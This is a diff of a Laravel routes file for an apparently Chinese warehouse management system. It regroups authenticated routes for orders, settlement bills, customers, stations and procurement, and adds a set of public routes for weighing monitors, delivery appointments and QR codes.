+            Route::get('areaFee','SettlementBillOwnerAreaFeeController@index');
+            Route::post('areaFee/confirmBill','SettlementBillOwnerAreaFeeController@confirmBill');
+            Route::any('areaFee/confirmBill/export','SettlementBillOwnerAreaFeeController@export');
         });
-
-        Route::get('index','OrderIssueController@index');
-        Route::get('create','OrderIssueController@create');
-        Route::post('store','OrderIssueController@store');
-        Route::post('batchImport','OrderIssueController@batchImport');
-        Route::get('excelImport','OrderIssueController@excelImport');
-        Route::get('edit/{id}','OrderIssueController@edit');
-        Route::get('recycle','OrderIssueController@recycleBin');
-//        Route::match(['get','post'],'export','OrderIssueController@exportOrderIssue');
-        Route::match(['get','post'],'export','OrderIssueController@exportJsonExcel');
-    });
-    /** 跟踪 */
-    Route::group(['prefix'=>'tracking'],function(){
-        Route::get('index',"OrderTrackingController@index");
-        Route::any('export',"OrderTrackingController@export");
-        Route::get('update','OrderTrackingController@updateApi');
-        Route::post('upload','OrderTrackingController@upload');
-        Route::post('destroyImg','OrderTrackingController@destroyImg');
     });
-
-    Route::post('freeze','OrderController@freeze');
-    Route::post('freezeAll','OrderController@freezeAll');
-    Route::post('thaw','OrderController@thaw');
-    Route::post('deAllocation','OrderController@deAllocation');
-    Route::post('deAllocationAll','OrderController@deAllocationAll');
-    Route::post('resetLogisticsGetMark','OrderController@resetLogisticsGetMark');
-    Route::post('resetInterfaceReturnMark','OrderController@resetInterfaceReturnMark');
-    Route::post('createRejectedBill','OrderController@createRejectedBill');
-    Route::post('isRejectedBillExist','OrderController@isRejectedBillExist');
-});
-
-/** 结算 */
-Route::group(['prefix'=>'finance'],function(){
-    Route::group(['prefix'=>'instantBill'],function(){
-        Route::match(['GET','POST'],'export','CustomerController@financeInstantBillExport');
-    });
-    Route::get('instantBill','CustomerController@financeInstantBill');
-    Route::group(['prefix'=>'billConfirmation'],function(){
-        Route::match(['GET','POST'],'export','CustomerController@financeBillConfirmationExport');
-    });
-    Route::get('billConfirmation','CustomerController@financeBillConfirmation');
-    Route::post('updateBillReport','CustomerController@updateBillReport');
-    Route::post('billConfirm','CustomerController@billConfirm');
-    //结算账单
-    Route::middleware(['auth'])->prefix('settlementBills')->group(function(){
-        //快递费
-        Route::group(['prefix' => 'expressFee'], function () {
-            Route::post('detail/confirmBill', 'SettlementBillExpressFeeDetailController@confirmBill');
-            Route::post('report/confirmBill', 'SettlementBillExpressFeeReportController@confirmBill');
-            Route::any('detail/export', 'SettlementBillExpressFeeDetailController@export');
-            Route::any('report/export', 'SettlementBillExpressFeeReportController@export');
-            Route::get('detail', 'SettlementBillExpressFeeDetailController@index')->name('settlementBills.expressFee.detail');
-            Route::get('report', 'SettlementBillExpressFeeReportController@index')->name('settlementBills.expressFee.report');
-        });
-        //仓储费
-        Route::group(['prefix' => 'storageFee'], function () {
-            Route::get('','SettlementBillStorageFeeController@index');
-            Route::post('confirmBill','SettlementBillStorageFeeController@confirmBill');
-            Route::any('export','SettlementBillStorageFeeController@export');
-        });
-        //入库费
-        Route::group(['prefix' => 'storeFee'], function () {
-            Route::post('detail/confirmBill', 'SettlementBillStoreFeeDetailController@confirmBill');
-            Route::post('report/confirmBill', 'SettlementBillStoreFeeReportController@confirmBill');
-            Route::any('detail/export', 'SettlementBillStoreFeeDetailController@export');
-            Route::any('report/export', 'SettlementBillStoreFeeReportController@export');
-            Route::get('detail', 'SettlementBillStoreFeeDetailController@index');
-            Route::get('report', 'SettlementBillStoreFeeReportController@index');
-        });
-        //出库费
-        Route::group(['prefix' => 'storeOutFee'], function () {
-            Route::post('detail/confirmBill', 'SettlementBillStoreOutFeeDetailController@confirmBill');
-            Route::post('report/confirmBill', 'SettlementBillStoreOutFeeReportController@confirmBill');
-            Route::any('detail/export', 'SettlementBillStoreOutFeeDetailController@export');
-            Route::any('report/export', 'SettlementBillStoreOutFeeReportController@export');
-            Route::get('detail', 'SettlementBillStoreOutFeeDetailController@index');
-            Route::get('report', 'SettlementBillStoreOutFeeReportController@index');
-        });
+    /** 客户 */
+    $route->group(['prefix'=>'customer'],function(){
+        /** 项目 */
         //杂项费
-        Route::group(['prefix' => 'sundryFee'], function () {
-            Route::get('', 'SettlementBillSundryFeeController@index')->name('settlementBills.sundryFee');
-            Route::post('confirmBill', 'SettlementBillSundryFeeController@confirmBill');
-            Route::post('export', 'SettlementBillSundryFeeController@export');
-        });
-        //包材费
-        Route::group(['prefix' => 'packingMaterialFee'], function () {
-            Route::get('', 'SettlementBillPackingMaterialFeeController@index')->name('settlementBills.packingMaterialFee');
-            Route::post('confirmBill', 'SettlementBillPackingMaterialFeeController@confirmBill');
-            Route::any('export', 'SettlementBillPackingMaterialFeeController@export');
-        });
-        //加工费
-        Route::group(['prefix' => 'processFee'], function () {
-            Route::get('', 'SettlementBillProcessFeeController@index')->name('settlementBills.processFee');
-            Route::post('confirmBill', 'SettlementBillProcessFeeController@confirmBill');
-            Route::any('export', 'SettlementBillProcessFeeController@export');
-        });
-        //卸货费
-        Route::group(['prefix' => 'unloadFee'], function () {
-            Route::get('', 'SettlementBillUnloadFeeController@index')->name('settlementBills.unloadFee');
-            Route::post('confirmBill', 'SettlementBillUnloadFeeController@confirmBill');
-            Route::any('export', 'SettlementBillUnloadFeeController@export');
-        });
-        //物流费
-        Route::group(['prefix' => 'logisticFee'], function () {
-            Route::get('', 'SettlementBillLogisticFeeController@index')->name('settlementBills.logisticFee');
-            Route::post('confirmBill', 'SettlementBillLogisticFeeController@confirmBill');
-            Route::any('export', 'SettlementBillLogisticFeeController@export');
-        });
-        //总费用
-        Route::group(['prefix' => 'totalFee'], function () {
-            Route::get('', 'OwnerFeeTotalController@index');
-            Route::post('confirmBill', 'OwnerFeeTotalController@confirmBill');
-            Route::any('export', 'OwnerFeeTotalController@export');
+        Route::group(['prefix' => 'ownerSundryFee'], function () {
+            Route::any('export','OwnerSundryFeeDetailsController@export');
         });
-
-        //理赔费
-        Route::group(['prefix' => 'indemnityFee'], function () {
-            Route::get('', 'SettlementIndemnityFeeController@index')->name('settlementBills.indemnityFee');
-            Route::post('confirmBill', 'SettlementIndemnityFeeController@confirmBill');
-            Route::any('export', 'SettlementIndemnityFeeController@export');
-        });
-    });
-});
-
-/** 客户 */
-Route::group(['prefix'=>'customer'],function(){
-    /** 项目 */
-    //杂项费
-    Route::group(['prefix' => 'ownerSundryFee'], function () {
-        Route::any('export','OwnerSundryFeeDetailsController@export');
-
-    });
-    Route::group(['prefix'=>'project'],function(){
-        Route::group(['prefix'=>'index'],function(){
-            Route::match(['GET','POST'],'export','CustomerController@projectIndexExport');
-        });
-        Route::get('index','CustomerController@projectIndex');
-        Route::get('create','CustomerController@projectCreate');
-        Route::group(['prefix'=>'area'],function(){
-            Route::match(['GET','POST'],'export','CustomerController@projectAreaExport');
-        });
-        Route::get('area','CustomerController@projectArea');
-        Route::get('{id}/edit','CustomerController@projectEdit');
-        Route::post('projectUpdate','CustomerController@projectUpdate');
-        Route::post('getOwnerPriceModel','CustomerController@getOwnerPriceModel');
-        Route::post('updateArea','CustomerController@updateArea');
-        Route::post('verify','CustomerController@verifyProject');
-        Route::post('areaReportAudit','CustomerController@areaReportAudit');
-
-        //获取现有计费模型
-        Route::post('getPriceModel','PriceModelController@getPriceModel');
-
-        //手动生成账单
-        Route::post("createReport","CustomerController@createReport");
-        Route::post("createAreaReport","CustomerController@createAreaReport");
-        //手动重置账单数据
-        Route::post("resetInstantBill","CustomerController@resetInstantBill");
-        Route::post("resetBillConfirmation","CustomerController@resetBillConfirmation");
-
-    });
-    Route::get('relating',function (){return view('customer.relating');});
-    Route::group(['prefix' => 'customer'], function () {
-        Route::get('customerLogStatus', 'CustomerLogStatusController@index');
-        Route::post('getLog', 'CustomerLogController@get');
-        Route::post('editLog', 'CustomerLogController@update');
-        Route::post('getLogStatus', 'CustomerLogStatusController@get');
-        Route::post('storeLog', 'CustomerLogController@store');
-        Route::post('relatedOwner', 'CustomerBaseController@relatedOwner');
-        Route::post('addTag', 'CustomerBaseController@addTag');
-        Route::post('delTag', 'CustomerBaseController@delTag');
-        Route::post('destroyLog', 'CustomerBaseController@destroyLog');
-        Route::group(['prefix' => 'customerLogStatus'], function () {
-            Route::post('save', 'CustomerLogStatusController@save');
-            Route::post('destroy', 'CustomerLogStatusController@destroy');
-        });
-        Route::group(['prefix' => 'customerTag'], function () {
-            Route::post('save', 'CustomerTagController@save');
-            Route::post('get', 'CustomerTagController@get');
-        });
-        Route::resource('customerTag', 'CustomerTagController',['only' => ['index',"destroy"]]);
-        Route::resource('customerLog', 'CustomerLogController', ['only' => ['index', 'show', 'create', 'store', 'update', 'edit', 'destroy']]);
-    });
-    Route::group(['prefix' => 'ownerContract'], function () {
-        Route::post('store', 'OwnerContractController@store');
-        Route::get('down', 'OwnerContractController@downFile');
-    });
-    Route::resource('customer', 'CustomerBaseController');
-
-    Route::resource('ownerSundryFeeDetails', 'OwnerSundryFeeDetailsController', ['only' => ['index', 'create', 'store', 'update', 'edit','destroy']]);
-});
-
-/** 站管理 */
-Route::group(['prefix'=>'station'],function(){
-    Route::get('index','StationController@monitorIndex');
-    /** 监视器 */
-    Route::group(['prefix'=>'monitor'],function(){
-        Route::get('/','StationController@monitorIndex');
-        Route::get('/index','StationController@monitorIndex');
-        Route::get('/{station}','StationController@monitorShow');
-    });
-    /** 缓存架 */
-    Route::group(['prefix'=>'cachingShelf'],function(){
-        Route::get('/index','CacheShelfController@index');
-    });
-    /** 栈规则 */
-    Route::group(['prefix'=>'rule'],function(){
-        Route::get('/index','StationRuleBatchController@index');
-    });
-});
-/** 控制台 */
-Route::group(['prefix'=>'control'],function () {
-   Route::get('panel/menu','ControlPanelController@index') ;
-});
-/** 采购管理 */
-Route::group(['prefix'=>'procurement'],function () {
-    /** 采购 */
-    Route::group(['prefix'=>'procurement'],function(){
-        Route::get('index','ProcurementController@index');
-        Route::get('create','ProcurementController@create');
-        Route::post('store','ProcurementController@store');
-        Route::post('getOwnerMaterial','ProcurementController@getOwnerMaterial');
-        Route::post('createProcurement','ProcurementController@createProcurement');
-        Route::post('createEnquiry','ProcurementController@createEnquiry');
-        Route::post('createProof','ProcurementController@createProof');
-        Route::any('procurementExport','ProcurementController@procurementExport');
-        Route::get('cancel/{id}','ProcurementController@cancel');
-        Route::post('initiateProcurement','ProcurementController@initiateProcurement');
-        Route::post('submitProcurement','ProcurementController@submitProcurement');
-        Route::post('createAnew','ProcurementController@createAnew');
-    });
-    /** 财务 */
-    Route::group(['prefix'=>'finance'],function(){
-        Route::get('checkBill','ProcurementController@checkBill');
-        Route::get('procurementBill','ProcurementController@procurementBill');
-        Route::get('monthlyBillReport','ProcurementController@monthlyBillReport');
-        Route::post('fillInvoice','ProcurementController@fillInvoice');
-        Route::any('procurementTotalBillExport','ProcurementController@procurementTotalBillExport');
-        Route::any('procurementBillExport','ProcurementController@procurementBillExport');
-        Route::any('checkBillExport','ProcurementController@checkBillExport');
-        Route::post('costPrice','ProcurementController@costPrice');
-        Route::post('getCheckBillMonth','ProcurementController@getCheckBillMonth');
-
-
+        Route::group(['prefix'=>'project'],function(){
+            Route::group(['prefix'=>'index'],function(){
+                Route::match(['GET','POST'],'export','CustomerController@projectIndexExport');
+            });
+            Route::get('index','CustomerController@projectIndex');
+            Route::get('create','CustomerController@projectCreate');
+            Route::group(['prefix'=>'area'],function(){
+                Route::match(['GET','POST'],'export','CustomerController@projectAreaExport');
+            });
+            Route::get('area','CustomerController@projectArea');
+            Route::get('{id}/edit','CustomerController@projectEdit');
+            Route::post('projectUpdate','CustomerController@projectUpdate');
+            Route::post('getOwnerPriceModel','CustomerController@getOwnerPriceModel');
+            Route::post('updateArea','CustomerController@updateArea');
+            Route::post('verify','CustomerController@verifyProject');
+            Route::post('areaReportAudit','CustomerController@areaReportAudit');
+            //获取现有计费模型
+            Route::post('getPriceModel','PriceModelController@getPriceModel');
+            //手动生成账单
+            Route::post("createReport","CustomerController@createReport");
+            Route::post("createAreaReport","CustomerController@createAreaReport");
+            //手动重置账单数据
+            Route::post("resetInstantBill","CustomerController@resetInstantBill");
+            Route::post("resetBillConfirmation","CustomerController@resetBillConfirmation");
+        });
+        Route::get('relating',function (){return view('customer.relating');});
+        Route::group(['prefix' => 'customer'], function () {
+            Route::get('customerLogStatus', 'CustomerLogStatusController@index');
+            Route::post('getLog', 'CustomerLogController@get');
+            Route::post('editLog', 'CustomerLogController@update');
+            Route::post('getLogStatus', 'CustomerLogStatusController@get');
+            Route::post('storeLog', 'CustomerLogController@store');
+            Route::post('relatedOwner', 'CustomerBaseController@relatedOwner');
+            Route::post('addTag', 'CustomerBaseController@addTag');
+            Route::post('delTag', 'CustomerBaseController@delTag');
+            Route::post('destroyLog', 'CustomerBaseController@destroyLog');
+            Route::group(['prefix' => 'customerLogStatus'], function () {
+                Route::post('save', 'CustomerLogStatusController@save');
+                Route::post('destroy', 'CustomerLogStatusController@destroy');
+            });
+            Route::group(['prefix' => 'customerTag'], function () {
+                Route::post('save', 'CustomerTagController@save');
+                Route::post('get', 'CustomerTagController@get');
+            });
+            Route::resource('customerTag', 'CustomerTagController',['only' => ['index',"destroy"]]);
+            Route::resource('customerLog', 'CustomerLogController', ['only' => ['index', 'show', 'create', 'store', 'update', 'edit', 'destroy']]);
+        });
+        Route::group(['prefix' => 'ownerContract'], function () {
+            Route::post('store', 'OwnerContractController@store');
+            Route::get('down', 'OwnerContractController@downFile');
+        });
+        Route::resource('customer', 'CustomerBaseController');
+        Route::resource('ownerSundryFeeDetails', 'OwnerSundryFeeDetailsController', ['only' => ['index', 'create', 'store', 'update', 'edit','destroy']]);
+    });
+    /** 站管理 */
+    $route->group(['prefix'=>'station'],function(){
+        Route::get('index','StationController@monitorIndex');
+        /** 监视器 */
+        Route::group(['prefix'=>'monitor'],function(){
+            Route::get('/','StationController@monitorIndex');
+            Route::get('/index','StationController@monitorIndex');
+        });
+        /** 缓存架 */
+        Route::group(['prefix'=>'cachingShelf'],function(){
+            Route::get('/index','CacheShelfController@index');
+        });
+        /** 栈规则 */
+        Route::group(['prefix'=>'rule'],function(){
+            Route::get('/index','StationRuleBatchController@index');
+        });
+    });
+    /** 控制台 */
+    $route->group(['prefix'=>'control'],function () {
+        Route::get('panel/menu','ControlPanelController@index') ;
+    });
+    /** 采购管理 */
+    $route->group(['prefix'=>'procurement'],function () {
+        /** 采购 */
+        Route::group(['prefix'=>'procurement'],function(){
+            Route::get('index','ProcurementController@index');
+            Route::get('create','ProcurementController@create');
+            Route::post('store','ProcurementController@store');
+            Route::post('getOwnerMaterial','ProcurementController@getOwnerMaterial');
+            Route::post('createProcurement','ProcurementController@createProcurement');
+            Route::post('createEnquiry','ProcurementController@createEnquiry');
+            Route::post('createProof','ProcurementController@createProof');
+            Route::any('procurementExport','ProcurementController@procurementExport');
+            Route::get('cancel/{id}','ProcurementController@cancel');
+            Route::post('initiateProcurement','ProcurementController@initiateProcurement');
+            Route::post('submitProcurement','ProcurementController@submitProcurement');
+            Route::post('createAnew','ProcurementController@createAnew');
+        });
+        /** 财务 */
+        Route::group(['prefix'=>'finance'],function(){
+            Route::get('checkBill','ProcurementController@checkBill');
+            Route::get('procurementBill','ProcurementController@procurementBill');
+            Route::get('monthlyBillReport','ProcurementController@monthlyBillReport');
+            Route::post('fillInvoice','ProcurementController@fillInvoice');
+            Route::any('procurementTotalBillExport','ProcurementController@procurementTotalBillExport');
+            Route::any('procurementBillExport','ProcurementController@procurementBillExport');
+            Route::any('checkBillExport','ProcurementController@checkBillExport');
+            Route::post('costPrice','ProcurementController@costPrice');
+            Route::post('getCheckBillMonth','ProcurementController@getCheckBillMonth');
+        });
+        Route::get('relating',function (){return view('procurement.menuProcurement');});
+    });
+    /** 需求管理 */
+    $route->group(['prefix'=>'demand'],function (){
+        Route::get('/','DemandController@index');
     });
-    Route::get('relating',function (){return view('procurement.menuProcurement');});
 });
 
-/** 需求管理 */
-Route::group(['prefix'=>'demand'],function (){
-    Route::get('/','DemandController@index');
-});
+/*
+ * 无需认证的路由
+ * */
+Route::get('/', function () {return redirect('login');});
+Route::any('test/{method}', 'TestController@method');
+//称重广播
+Route::post('package/weigh/measureMonitor/speech','MeasureMonitorController@speech');
+//称重显示
+Route::resource('package/weigh/measureMonitor','MeasureMonitorController');
+//入库预约终端
+Route::get('store/deliveryAppointment/exhibition','DeliveryAppointmentController@exhibition');
+//入库预约预约码输入
+Route::get('store/deliveryAppointment/delivery','DeliveryAppointmentController@delivery');
+//入库预约错误页面
+Route::get('store/deliveryAppointment/errMsg','DeliveryAppointmentController@errMsg');
+//入库预约成功页面
+Route::get('store/deliveryAppointment/successMsg','DeliveryAppointmentController@successMsg');
+//入库预约展览数据
+Route::post('store/deliveryAppointment/getExhibitionList','DeliveryAppointmentController@getExhibitionList');
+//入库预约验证密匙
+Route::post('store/deliveryAppointment/getKey','DeliveryAppointmentController@getKey');
+//临时工二维码
+Route::get('personnel/checking-in/goGetQRCode','QRCodeController@goGetQRCode');
+Route::get('personnel/checking-in/QRCode','QRCodeController@QRCode');
+Route::get('personnel/checking-in/importAndExportQRCode','QRCodeController@importAndExportQRCode');
+Route::post('personnel/checking-in/refreshQRCode','QRCodeController@refreshQRCode');
+//监视器
+Route::get('station/index/{station}','StationController@monitorShow');